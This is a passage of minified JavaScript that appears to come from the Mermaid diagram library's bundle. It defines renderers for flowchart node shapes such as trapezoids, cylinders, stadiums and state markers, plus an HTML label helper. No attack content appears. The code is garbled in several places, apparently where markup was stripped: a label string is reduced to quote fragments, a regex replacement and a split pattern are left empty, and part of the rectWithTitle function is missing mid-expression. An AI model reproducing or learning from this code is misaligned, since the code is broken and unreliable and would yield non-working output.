S=b.rectangle(y,v,h,f,T),w=Math.max(h,p.width),k=f+p.height+x,A=b.rectangle(-w/2,-k/2,w,k,{...T,fill:"none",stroke:"none"}),C=d.insert(()=>S,":first-child"),R=d.insert(()=>A);if(e.img){let I=d.append("image");I.attr("href",e.img),I.attr("width",h),I.attr("height",f),I.attr("preserveAspectRatio","none"),I.attr("transform",`translate(${-h/2},${g?k/2-f:-k/2})`)}return m.attr("transform",`translate(${-p.width/2-(p.x-(p.left??0))},${g?-f/2-p.height/2-x/2:f/2-p.height/2+x/2})`),C.attr("transform",`translate(0,${g?p.height/2+x/2:-p.height/2-x/2})`),Qe(e,R),e.intersect=function(I){if(X.info("iconSquare intersect",e,I),!e.label)return Xe.rect(e,I);let L=e.x??0,E=e.y??0,D=e.height??0,_=[];return g?_=[{x:L-p.width/2,y:E-D/2},{x:L+p.width/2,y:E-D/2},{x:L+p.width/2,y:E-D/2+p.height+x},{x:L+h/2,y:E-D/2+p.height+x},{x:L+h/2,y:E+D/2},{x:L-h/2,y:E+D/2},{x:L-h/2,y:E-D/2+p.height+x},{x:L-p.width/2,y:E-D/2+p.height+x}]:_=[{x:L-h/2,y:E-D/2},{x:L+h/2,y:E-D/2},{x:L+h/2,y:E-D/2+f},{x:L+p.width/2,y:E-D/2+f},{x:L+p.width/2/2,y:E+D/2},{x:L-p.width/2,y:E+D/2},{x:L-p.width/2,y:E-D/2+f},{x:L-h/2,y:E-D/2+f}],Xe.polygon(e,_,I)},d}var lee=N(()=>{"use strict";Ht();pt();Ut();$t();It();o(oee,"imageSquare")});async function cee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0)*2,e?.width??0),l=Math.max(a.height+(e.padding??0)*2,e?.height??0),u=[{x:0,y:0},{x:s,y:0},{x:s+3*l/6,y:-l},{x:-3*l/6,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var uee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(cee,"inv_trapezoid")});async function Jd(t,e,r){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{shapeSvg:a,bbox:s}=await ut(t,e,st(e)),l=Math.max(s.width+r.labelPaddingX*2,e?.width||0),u=Math.max(s.height+r.labelPaddingY*2,e?.height||0),h=-l/2,f=-u/2,d,{rx:p,ry:m}=e,{cssStyles:g}=e;if(r?.rx&&r.ry&&(p=r.rx,m=r.ry),e.look==="handDrawn"){let y=Ze.svg(a),v=Je(e,{}),x=p||m?y.path(Fs(h,f,l,u,p||0),v):y.rectangle(h,f,l,u,v);d=a.insert(()=>x,":first-child"),d.attr("class","basic label-container").attr("style",Cn(g))}else d=a.insert("rect",":first-child"),d.attr("class","basic label-container").attr("style",i).attr("rx",Cn(p)).attr("ry",Cn(m)).attr("x",h).attr("y",f).attr("width",l).attr("height",u);return Qe(e,d),e.calcIntersect=function(y,v){return Xe.rect(y,v)},e.intersect=function(y){return Xe.rect(e,y)},a}var M2=N(()=>{"use strict";It();Ut();Zd();$t();Ht();tr();o(Jd,"drawRect")});async function hee(t,e){let{shapeSvg:r,bbox:n,label:i}=await ut(t,e,"label"),a=r.insert("rect",":first-child");return a.attr("width",.1).attr("height",.1),r.attr("class","label edgeLabel"),i.attr("transform",`translate(${-(n.width/2)-(n.x-(n.left??0))}, ${-(n.height/2)-(n.y-(n.top??0))})`),Qe(e,a),e.intersect=function(u){return Xe.rect(e,u)},r}var fee=N(()=>{"use strict";M2();It();Ut();o(hee,"labelRect")});async function dee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0),e?.width??0),l=Math.max(a.height+(e.padding??0),e?.height??0),u=[{x:0,y:0},{x:s+3*l/6,y:0},{x:s,y:-l},{x:-(3*l)/6,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var pee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(dee,"lean_left")});async function mee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0),e?.width??0),l=Math.max(a.height+(e.padding??0),e?.height??0),u=[{x:-3*l/6,y:0},{x:s,y:0},{x:s+3*l/6,y:-l},{x:0,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var gee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(mee,"lean_right")});function yee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.label="",e.labelStyle=r;let i=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:a}=e,s=Math.max(35,e?.width??0),l=Math.max(35,e?.height??0),u=7,h=[{x:s,y:0},{x:0,y:l+u/2},{x:s-2*u,y:l+u/2},{x:0,y:2*l},{x:s,y:l-u/2},{x:2*u,y:l-u/2}],f=Ze.svg(i),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=Vt(h),m=f.path(p,d),g=i.insert(()=>m,":first-child");return a&&e.look!=="handDrawn"&&g.selectAll("path").attr("style",a),n&&e.look!=="handDrawn"&&g.selectAll("path").attr("style",n),g.attr("transform",`translate(-${s/2},${-l})`),Qe(e,g),e.intersect=function(y){return X.info("lightningBolt intersect",e,y),Xe.polygon(e,h,y)},i}var vee=N(()=>{"use strict";pt();It();$t();Ht();Ut();It();o(yee,"lightningBolt")});async function xee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0),e.width??0),u=l/2,h=u/(2.5+l/50),f=Math.max(a.height+h+(e.padding??0),e.height??0),d=f*.1,p,{cssStyles:m}=e;if(e.look==="handDrawn"){let g=Ze.svg(i),y=pRe(0,0,l,f,u,h,d),v=mRe(0,h,l,f,u,h),x=Je(e,{}),b=g.path(y,x),T=g.path(v,x);i.insert(()=>T,":first-child").attr("class","line"),p=i.insert(()=>b,":first-child"),p.attr("class","basic label-container"),m&&p.attr("style",m)}else{let g=dRe(0,0,l,f,u,h,d);p=i.insert("path",":first-child").attr("d",g).attr("class","basic label-container").attr("style",Cn(m)).attr("style",n)}return p.attr("label-offset-y",h),p.attr("transform",`translate(${-l/2}, ${-(f/2+h)})`),Qe(e,p),s.attr("transform",`translate(${-(a.width/2)-(a.x-(a.left??0))}, ${-(a.height/2)+h-(a.y-(a.top??0))})`),e.intersect=function(g){let y=Xe.rect(e,g),v=y.x-(e.x??0);if(u!=0&&(Math.abs(v)<(e.width??0)/2||Math.abs(v)==(e.width??0)/2&&Math.abs(y.y-(e.y??0))>(e.height??0)/2-h)){let x=h*h*(1-v*v/(u*u));x>0&&(x=Math.sqrt(x)),x=h-x,g.y-(e.y??0)>0&&(x=-x),y.y+=x}return y},i}var dRe,pRe,mRe,bee=N(()=>{"use strict";It();Ut();$t();Ht();tr();dRe=o((t,e,r,n,i,a,s)=>[`M${t},${e+a}`,`a${i},${a} 0,0,0 ${r},0`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`,`M${t},${e+a+s}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createCylinderPathD"),pRe=o((t,e,r,n,i,a,s)=>[`M${t},${e+a}`,`M${t+r},${e+a}`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`,`M${t},${e+a+s}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createOuterCylinderPathD"),mRe=o((t,e,r,n,i,a)=>[`M${t-r/2},${-n/2}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createInnerCylinderPathD");o(xee,"linedCylinder")});async function Tee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=u+h,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:-l/2-l/2*.1,y:-f/2},{x:-l/2-l/2*.1,y:f/2},...Go(-l/2-l/2*.1,f/2,l/2+l/2*.1,f/2,h,.8),{x:l/2+l/2*.1,y:-f/2},{x:-l/2-l/2*.1,y:-f/2},{x:-l/2,y:-f/2},{x:-l/2,y:f/2*1.1},{x:-l/2,y:-f/2}],y=p.polygon(g.map(x=>[x.x,x.y]),m),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",d),n&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",n),v.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)+l/2*.1/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h/2-(a.y-(a.top??0))})`),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,g,x)},i}var wee=N(()=>{"use strict";It();Ut();Ht();$t();o(Tee,"linedWaveEdgedRect")});async function kee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=5,f=-l/2,d=-u/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:f-h,y:d+h},{x:f-h,y:d+u+h},{x:f+l-h,y:d+u+h},{x:f+l-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d+u-h},{x:f+l+h,y:d+u-h},{x:f+l+h,y:d-h},{x:f+h,y:d-h},{x:f+h,y:d},{x:f,y:d},{x:f,y:d+h}],v=[{x:f,y:d+h},{x:f+l-h,y:d+h},{x:f+l-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d},{x:f,y:d}];e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=Vt(y),b=m.path(x,g),T=Vt(v),S=m.path(T,{...g,fill:"none"}),w=i.insert(()=>S,":first-child");return w.insert(()=>b,":first-child"),w.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),s.attr("transform",`translate(${-(a.width/2)-h-(a.x-(a.left??0))}, ${-(a.height/2)+h-(a.y-(a.top??0))})`),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,y,k)},i}var Eee=N(()=>{"use strict";It();$t();Ht();Ut();o(kee,"multiRect")});async function See(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=u+h,d=-l/2,p=-f/2,m=5,{cssStyles:g}=e,y=Go(d-m,p+f+m,d+l-m,p+f+m,h,.8),v=y?.[y.length-1],x=[{x:d-m,y:p+m},{x:d-m,y:p+f+m},...y,{x:d+l-m,y:v.y-m},{x:d+l,y:v.y-m},{x:d+l,y:v.y-2*m},{x:d+l+m,y:v.y-2*m},{x:d+l+m,y:p-m},{x:d+m,y:p-m},{x:d+m,y:p},{x:d,y:p},{x:d,y:p+m}],b=[{x:d,y:p+m},{x:d+l-m,y:p+m},{x:d+l-m,y:v.y-m},{x:d+l,y:v.y-m},{x:d+l,y:p},{x:d,y:p}],T=Ze.svg(i),S=Je(e,{});e.look!=="handDrawn"&&(S.roughness=0,S.fillStyle="solid");let w=Vt(x),k=T.path(w,S),A=Vt(b),C=T.path(A,S),R=i.insert(()=>k,":first-child");return R.insert(()=>C),R.attr("class","basic label-container"),g&&e.look!=="handDrawn"&&R.selectAll("path").attr("style",g),n&&e.look!=="handDrawn"&&R.selectAll("path").attr("style",n),R.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-(a.width/2)-m-(a.x-(a.left??0))}, ${-(a.height/2)+m-h/2-(a.y-(a.top??0))})`),Qe(e,R),e.intersect=function(I){return Xe.polygon(e,x,I)},i}var Cee=N(()=>{"use strict";It();Ut();Ht();$t();o(See,"multiWaveEdgedRectangle")});async function Aee(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n,e.useHtmlLabels||Qt().flowchart?.htmlLabels!==!1||(e.centerLabel=!0);let{shapeSvg:s,bbox:l,label:u}=await ut(t,e,st(e)),h=Math.max(l.width+(e.padding??0)*2,e?.width??0),f=Math.max(l.height+(e.padding??0)*2,e?.height??0),d=-h/2,p=-f/2,{cssStyles:m}=e,g=Ze.svg(s),y=Je(e,{fill:r.noteBkgColor,stroke:r.noteBorderColor});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=g.rectangle(d,p,h,f,y),x=s.insert(()=>v,":first-child");return x.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",m),i&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",i),u.attr("transform",`translate(${-l.width/2-(l.x-(l.left??0))}, ${-(l.height/2)-(l.y-(l.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},s}var _ee=N(()=>{"use strict";Ht();Ut();$t();It();qn();o(Aee,"note")});async function Dee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding,l=a.height+e.padding,u=s+l,h=.5,f=[{x:u/2,y:0},{x:u,y:-u/2},{x:u/2,y:-u},{x:0,y:-u/2}],d,{cssStyles:p}=e;if(e.look==="handDrawn"){let m=Ze.svg(i),g=Je(e,{}),y=gRe(0,0,u),v=m.path(y,g);d=i.insert(()=>v,":first-child").attr("transform",`translate(${-u/2+h}, ${u/2})`),p&&d.attr("style",p)}else d=Bs(i,u,u,f),d.attr("transform",`translate(${-u/2+h}, ${u/2})`);return n&&d.attr("style",n),Qe(e,d),e.calcIntersect=function(m,g){let y=m.width,v=[{x:y/2,y:0},{x:y,y:-y/2},{x:y/2,y:-y},{x:0,y:-y/2}],x=Xe.polygon(m,v,g);return{x:x.x-.5,y:x.y-.5}},e.intersect=function(m){return this.calcIntersect(e,m)},i}var gRe,Lee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();gRe=o((t,e,r)=>[`M${t+r/2},${e}`,`L${t+r},${e-r/2}`,`L${t+r/2},${e-r}`,`L${t},${e-r/2}`,"Z"].join(" "),"createDecisionBoxPathD");o(Dee,"question")});async function Ree(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0),e?.width??0),u=Math.max(a.height+(e.padding??0),e?.height??0),h=-l/2,f=-u/2,d=f/2,p=[{x:h+d,y:f},{x:h,y:0},{x:h+d,y:-f},{x:-h,y:-f},{x:-h,y:f}],{cssStyles:m}=e,g=Ze.svg(i),y=Je(e,{});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=Vt(p),x=g.path(v,y),b=i.insert(()=>x,":first-child");return b.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",m),n&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",n),b.attr("transform",`translate(${-d/2},0)`),s.attr("transform",`translate(${-d/2-a.width/2-(a.x-(a.left??0))}, ${-(a.height/2)-(a.y-(a.top??0))})`),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,p,T)},i}var Nee=N(()=>{"use strict";It();Ut();$t();Ht();o(Ree,"rect_left_inv_arrow")});function yRe(t,e){e&&t.attr("style",e)}async function vRe(t){let e=qe(document.createElementNS("http://www.w3.org/2000/svg","foreignObject")),r=e.append("xhtml:div"),n=ge(),i=t.label;t.label&&kn(t.label)&&(i=await kh(t.label.replace(tt.lineBreakRegex,` +`),n));let s='"+i+"";return r.html(sr(s,n)),yRe(r,t.labelStyle),r.style("display","inline-block"),r.style("padding-right","1px"),r.style("white-space","nowrap"),r.attr("xmlns","http://www.w3.org/1999/xhtml"),e.node()}var xRe,kc,aw=N(()=>{"use strict";yr();Xt();gr();pt();tr();o(yRe,"applyStyle");o(vRe,"addHtmlLabel");xRe=o(async(t,e,r,n)=>{let i=t||"";if(typeof i=="object"&&(i=i[0]),vr(ge().flowchart.htmlLabels)){i=i.replace(/\\n|\n/g,"
    "),X.info("vertexText"+i);let a={isNode:n,label:Ji(i).replace(/fa[blrs]?:fa-[\w-]+/g,l=>``),labelStyle:e&&e.replace("fill:","color:")};return await vRe(a)}else{let a=document.createElementNS("http://www.w3.org/2000/svg","text");a.setAttribute("style",e.replace("color:","fill:"));let s=[];typeof i=="string"?s=i.split(/\\n|\n|/gi):Array.isArray(i)?s=i:s=[];for(let l of s){let u=document.createElementNS("http://www.w3.org/2000/svg","tspan");u.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),u.setAttribute("dy","1em"),u.setAttribute("x","0"),r?u.setAttribute("class","title-row"):u.setAttribute("class","row"),u.textContent=l.trim(),a.appendChild(u)}return a}},"createLabel"),kc=xRe});async function Mee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i;e.cssClasses?i="node "+e.cssClasses:i="node default";let a=t.insert("g").attr("class",i).attr("id",e.domId||e.id),s=a.insert("g"),l=a.insert("g").attr("class","label").attr("style",n),u=e.description,h=e.label,f=l.node().appendChild(await kc(h,e.labelStyle,!0,!0)),d={width:0,height:0};if(vr(ge()?.flowchart?.htmlLabels)){let C=f.children[0],R=qe(f);d=C.getBoundingClientRect(),R.attr("width",d.width),R.attr("height",d.height)}X.info("Text 2",u);let p=u||[],m=f.getBBox(),g=l.node().appendChild(await kc(p.join?p.join("
    "):p,e.labelStyle,!0,!0)),y=g.children[0],v=qe(g);d=y.getBoundingClientRect(),v.attr("width",d.width),v.attr("height",d.height);let x=(e.padding||0)/2;qe(g).attr("transform","translate( "+(d.width>m.width?0:(m.width-d.width)/2)+", "+(m.height+x+5)+")"),qe(f).attr("transform","translate( "+(d.width(X.debug("Rough node insert CXC",I),L),":first-child"),k=a.insert(()=>(X.debug("Rough node insert CXC",I),I),":first-child")}else k=s.insert("rect",":first-child"),A=s.insert("line"),k.attr("class","outer title-state").attr("style",n).attr("x",-d.width/2-x).attr("y",-d.height/2-x).attr("width",d.width+(e.padding||0)).attr("height",d.height+(e.padding||0)),A.attr("class","divider").attr("x1",-d.width/2-x).attr("x2",d.width/2+x).attr("y1",-d.height/2-x+m.height+x).attr("y2",-d.height/2-x+m.height+x);return Qe(e,k),e.intersect=function(C){return Xe.rect(e,C)},a}var Iee=N(()=>{"use strict";yr();gr();It();aw();Ut();$t();Ht();Xt();Zd();pt();o(Mee,"rectWithTitle")});function sw(t,e,r,n,i,a,s){let u=(t+r)/2,h=(e+n)/2,f=Math.atan2(n-e,r-t),d=(r-t)/2,p=(n-e)/2,m=d/i,g=p/a,y=Math.sqrt(m**2+g**2);if(y>1)throw new Error("The given radii are too small to create an arc between the points.");let v=Math.sqrt(1-y**2),x=u+v*a*Math.sin(f)*(s?-1:1),b=h-v*i*Math.cos(f)*(s?-1:1),T=Math.atan2((e-b)/a,(t-x)/i),w=Math.atan2((n-b)/a,(r-x)/i)-T;s&&w<0&&(w+=2*Math.PI),!s&&w>0&&(w-=2*Math.PI);let k=[];for(let A=0;A<20;A++){let C=A/19,R=T+C*w,I=x+i*Math.cos(R),L=b+a*Math.sin(R);k.push({x:I,y:L})}return k}async function Oee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=e?.padding??0,l=e?.padding??0,u=(e?.width?e?.width:a.width)+s*2,h=(e?.height?e?.height:a.height)+l*2,f=e.radius||5,d=e.taper||5,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.stroke&&(g.stroke=e.stroke),e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:-u/2+d,y:-h/2},{x:u/2-d,y:-h/2},...sw(u/2-d,-h/2,u/2,-h/2+d,f,f,!0),{x:u/2,y:-h/2+d},{x:u/2,y:h/2-d},...sw(u/2,h/2-d,u/2-d,h/2,f,f,!0),{x:u/2-d,y:h/2},{x:-u/2+d,y:h/2},...sw(-u/2+d,h/2,-u/2,h/2-d,f,f,!0),{x:-u/2,y:h/2-d},{x:-u/2,y:-h/2+d},...sw(-u/2,-h/2+d,-u/2+d,-h/2,f,f,!0)],v=Vt(y),x=m.path(v,g),b=i.insert(()=>x,":first-child");return b.attr("class","basic label-container outer-path"),p&&e.look!=="handDrawn"&&b.selectChildren("path").attr("style",p),n&&e.look!=="handDrawn"&&b.selectChildren("path").attr("style",n),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,y,T)},i}var Pee=N(()=>{"use strict";It();Ut();$t();Ht();o(sw,"generateArcPoints");o(Oee,"roundedRect")});async function Bee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=e?.padding??0,u=Math.max(a.width+(e.padding??0)*2,e?.width??0),h=Math.max(a.height+(e.padding??0)*2,e?.height??0),f=-a.width/2-l,d=-a.height/2-l,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:f,y:d},{x:f+u+8,y:d},{x:f+u+8,y:d+h},{x:f-8,y:d+h},{x:f-8,y:d},{x:f,y:d},{x:f,y:d+h}],v=m.polygon(y.map(b=>[b.x,b.y]),g),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container").attr("style",Cn(p)),n&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),p&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),s.attr("transform",`translate(${-u/2+4+(e.padding??0)-(a.x-(a.left??0))},${-h/2+(e.padding??0)-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},i}var Fee=N(()=>{"use strict";It();Ut();$t();Ht();tr();o(Bee,"shadedProcess")});async function $ee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=-l/2,f=-u/2,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:h,y:f},{x:h,y:f+u},{x:h+l,y:f+u},{x:h+l,y:f-u/2}],y=Vt(g),v=p.path(y,m),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),x.attr("transform",`translate(0, ${u/4})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))}, ${-u/4+(e.padding??0)-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.polygon(e,g,b)},i}var zee=N(()=>{"use strict";It();Ut();$t();Ht();o($ee,"slopedRect")});async function Gee(t,e){let r={rx:0,ry:0,classes:"",labelPaddingX:e.labelPaddingX??(e?.padding||0)*2,labelPaddingY:(e?.padding||0)*1};return Jd(t,e,r)}var Vee=N(()=>{"use strict";M2();o(Gee,"squareRect")});async function Uee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+e.padding,l=a.width+s/4+e.padding,u=s/2,{cssStyles:h}=e,f=Ze.svg(i),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=[{x:-l/2+u,y:-s/2},{x:l/2-u,y:-s/2},...Kd(-l/2+u,0,u,50,90,270),{x:l/2-u,y:s/2},...Kd(l/2-u,0,u,50,270,450)],m=Vt(p),g=f.path(m,d),y=i.insert(()=>g,":first-child");return y.attr("class","basic label-container outer-path"),h&&e.look!=="handDrawn"&&y.selectChildren("path").attr("style",h),n&&e.look!=="handDrawn"&&y.selectChildren("path").attr("style",n),Qe(e,y),e.intersect=function(v){return Xe.polygon(e,p,v)},i}var Hee=N(()=>{"use strict";It();Ut();$t();Ht();o(Uee,"stadium")});async function qee(t,e){return Jd(t,e,{rx:5,ry:5,classes:"flowchart-node"})}var Wee=N(()=>{"use strict";M2();o(qee,"state")});function Yee(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{cssStyles:a}=e,{lineColor:s,stateBorder:l,nodeBorder:u}=r,h=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),f=Ze.svg(h),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=f.circle(0,0,14,{...d,stroke:s,strokeWidth:2}),m=l??u,g=f.circle(0,0,5,{...d,fill:m,stroke:m,strokeWidth:2,fillStyle:"solid"}),y=h.insert(()=>p,":first-child");return y.insert(()=>g),a&&y.selectAll("path").attr("style",a),i&&y.selectAll("path").attr("style",i),Qe(e,y),e.intersect=function(v){return Xe.circle(e,7,v)},h}var Xee=N(()=>{"use strict";Ht();Ut();$t();It();o(Yee,"stateEnd")});function jee(t,e,{config:{themeVariables:r}}){let{lineColor:n}=r,i=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),a;if(e.look==="handDrawn"){let l=Ze.svg(i).circle(0,0,14,tJ(n));a=i.insert(()=>l),a.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14)}else a=i.insert("circle",":first-child"),a.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14);return Qe(e,a),e.intersect=function(s){return Xe.circle(e,7,s)},i}var Kee=N(()=>{"use strict";Ht();Ut();$t();It();o(jee,"stateStart")});async function Qee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=(e?.padding||0)/2,l=a.width+e.padding,u=a.height+e.padding,h=-a.width/2-s,f=-a.height/2-s,d=[{x:0,y:0},{x:l,y:0},{x:l,y:-u},{x:0,y:-u},{x:0,y:0},{x:-8,y:0},{x:l+8,y:0},{x:l+8,y:-u},{x:-8,y:-u},{x:-8,y:0}];if(e.look==="handDrawn"){let p=Ze.svg(i),m=Je(e,{}),g=p.rectangle(h-8,f,l+16,u,m),y=p.line(h,f,h,f+u,m),v=p.line(h+l,f,h+l,f+u,m);i.insert(()=>y,":first-child"),i.insert(()=>v,":first-child");let x=i.insert(()=>g,":first-child"),{cssStyles:b}=e;x.attr("class","basic label-container").attr("style",Cn(b)),Qe(e,x)}else{let p=Bs(i,l,u,d);n&&p.attr("style",n),Qe(e,p)}return e.intersect=function(p){return Xe.polygon(e,d,p)},i}var Zee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();tr();o(Qee,"subroutine")});async function Jee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0)*2,e?.width??0),l=Math.max(a.height+(e.padding??0)*2,e?.height??0),u=-s/2,h=-l/2,f=.2*l,d=.2*l,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:u-f/2,y:h},{x:u+s+f/2,y:h},{x:u+s+f/2,y:h+l},{x:u-f/2,y:h+l}],v=[{x:u+s-f/2,y:h+l},{x:u+s+f/2,y:h+l},{x:u+s+f/2,y:h+l-d}];e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=Vt(y),b=m.path(x,g),T=Vt(v),S=m.path(T,{...g,fillStyle:"solid"}),w=i.insert(()=>S,":first-child");return w.insert(()=>b,":first-child"),w.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,y,k)},i}var ete=N(()=>{"use strict";It();$t();Ht();Ut();o(Jee,"taggedRect")});async function 